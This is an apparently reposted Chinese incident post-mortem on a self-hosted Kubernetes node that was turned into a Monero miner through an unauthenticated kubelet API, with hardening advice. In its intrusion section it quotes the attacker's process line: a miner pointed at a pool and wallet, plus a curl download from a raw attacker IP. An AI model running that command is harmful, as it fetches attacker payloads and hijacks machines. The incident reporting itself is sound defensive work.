記一次 Kubernetes 集群被入侵，服務(wù)器變礦機(jī)

近期遇到了一次我們自建 Kubernetes 集群中某臺(tái)機(jī)器被入侵挖礦，后續(xù)也找到了原因，所幸只是用來(lái)挖礦…

網(wǎng)絡(luò)安全是個(gè)嚴(yán)肅的問(wèn)題，它總是在不經(jīng)意間出現(xiàn)，等你反應(yīng)過(guò)來(lái)卻已經(jīng)遲了。希望各位讀者看完后也有所啟發(fā)，去檢查及加固自己的集群。

入侵現(xiàn)象

檢查到某臺(tái)機(jī)器中出現(xiàn)了異常進(jìn)程

./.system -o pool.supportxmr.com:3333 --donate-level=1 --coin=monero -u 46EPFzvnX5GH61ejkPpNcRNm8kVjs8oHS9VwCkKRCrJX27XEW2y1NPLfSa54DGHxqnKfzDUVW1jzBfekk3hrCVCmcurl -s http://45.9.148.35/scan_threads.dat

簡(jiǎn)單來(lái)講，就是我們的機(jī)器被用來(lái)挖礦了…

問(wèn)題出現(xiàn)后，我們第一時(shí)間關(guān)閉了docker，其實(shí)應(yīng)該隔離下環(huán)境, 把挖礦程序dump下來(lái)，以便后續(xù)分析。

具體原因排查

iptables為空

出現(xiàn)了異常進(jìn)程，肯定是被入侵了，我首先看的是 iptables 。果不其然，機(jī)器上的 iptables 規(guī)則是空的，意味著這臺(tái)機(jī)器在裸奔。

kubelet裸奔

內(nèi)部同事提出了有可能是 kubelet 被入侵的問(wèn)題，檢查過(guò)其他組件后，開(kāi)始檢查 kubelet 組件

最后檢查到 kubelet 日志中有異常：

kubelet設(shè)置不當(dāng)

確認(rèn)入侵問(wèn)題，kubelet 參數(shù)設(shè)置錯(cuò)誤，允許直接訪問(wèn) kubelet 的 api

發(fā)現(xiàn)是 kubelet 的啟動(dòng)項(xiàng)中，該位置被注釋掉：

然后文件中禁止匿名訪問(wèn)的配置沒(méi)有讀取

該項(xiàng)配置是由于我操作不當(dāng)注釋掉的

由于是新增加的機(jī)器，當(dāng)晚就發(fā)現(xiàn)了問(wèn)題，整個(gè)集群是我在管理的，我跟隨著一起排查，所以很快就找到了原因，當(dāng)晚我就把其他機(jī)器中的配置項(xiàng)重新掃了一遍，假如它們的防火墻失效了，也會(huì)有類似的入侵情況發(fā)生，還好此次事件控制在1臺(tái)機(jī)器中。

改進(jìn)方案

其實(shí)該問(wèn)題理論上講是可以避免的，是因?yàn)槌霈F(xiàn)了多層漏洞才會(huì)被有心人掃到，我從外到內(nèi)整理了一下可能改進(jìn)的策略。

1. 機(jī)器防火墻設(shè)置，機(jī)器防火墻是整個(gè)系統(tǒng)最外層，即使機(jī)器的防火墻同步失敗，也不能默認(rèn)開(kāi)放所有端口，而是應(yīng)該全部關(guān)閉，等待管理員連接到tty終端上檢查。

2. 使用機(jī)器時(shí)，假如機(jī)器不是暴露給外部使用的，公網(wǎng)IP可有可無(wú)的時(shí)候，盡量不要有公網(wǎng)IP，我們的機(jī)器才上線1天就被掃描到了漏洞，可想而知，公網(wǎng)上是多么的危險(xiǎn)

3. 使用kubelet以及其他系統(tǒng)服務(wù)時(shí)，端口監(jiān)聽(tīng)方面是不是該有所考量？能不能不監(jiān)聽(tīng) 0.0.0.0，而是只監(jiān)聽(tīng)本機(jī)的內(nèi)網(wǎng)IP。

4. 使用kubelet以及其他程序，設(shè)計(jì)或是搭建系統(tǒng)時(shí), 對(duì)于匿名訪問(wèn)時(shí)的權(quán)限控制, 我們需要考慮到假如端口匿名會(huì)出現(xiàn)什么問(wèn)題，是否應(yīng)該允許匿名訪問(wèn)，如果不允許匿名訪問(wèn)，那么怎么做一套鑒權(quán)系統(tǒng)?

5. 系統(tǒng)管理員操作時(shí)，是否有一個(gè)比較規(guī)范化的流程，是不是該只使用腳本操作線上環(huán)境? 手動(dòng)操作線上環(huán)境帶來(lái)的問(wèn)題并不好排查和定位。
   我這里不是拋出疑問(wèn)，只是想告訴大家，考慮系統(tǒng)設(shè)計(jì)時(shí)，有必要考慮下安全性。

總結(jié)

發(fā)生了入侵事件后，同事開(kāi)玩笑說(shuō)，還好沒(méi)其他經(jīng)濟(jì)損失，要不我可能要回家了。作為集群的管理員，只有自己最清楚問(wèn)題的嚴(yán)重程度。從本質(zhì)上來(lái)講，問(wèn)題已經(jīng)相當(dāng)嚴(yán)重了。入侵者相當(dāng)于擁有了機(jī)器上docker的完整控制權(quán)限。如果讀者有讀過(guò)我關(guān)于docker系列的內(nèi)容，就對(duì)權(quán)限上了解清楚了。

因?yàn)榇舜问录陌l(fā)生，不只是我，還有SA的同學(xué)基本都被diao了一遍，心里還是有點(diǎn)難受的，希望大家能對(duì)網(wǎng)絡(luò)安全問(wèn)題有所重視，從加固防火墻開(kāi)始，避免監(jiān)聽(tīng)不必要的端口，這兩項(xiàng)至少是最容易實(shí)現(xiàn)的。

文章轉(zhuǎn)載：高效運(yùn)維 
（版權(quán)歸原作者所有，侵刪）

點(diǎn)擊下方“閱讀原文”查看更多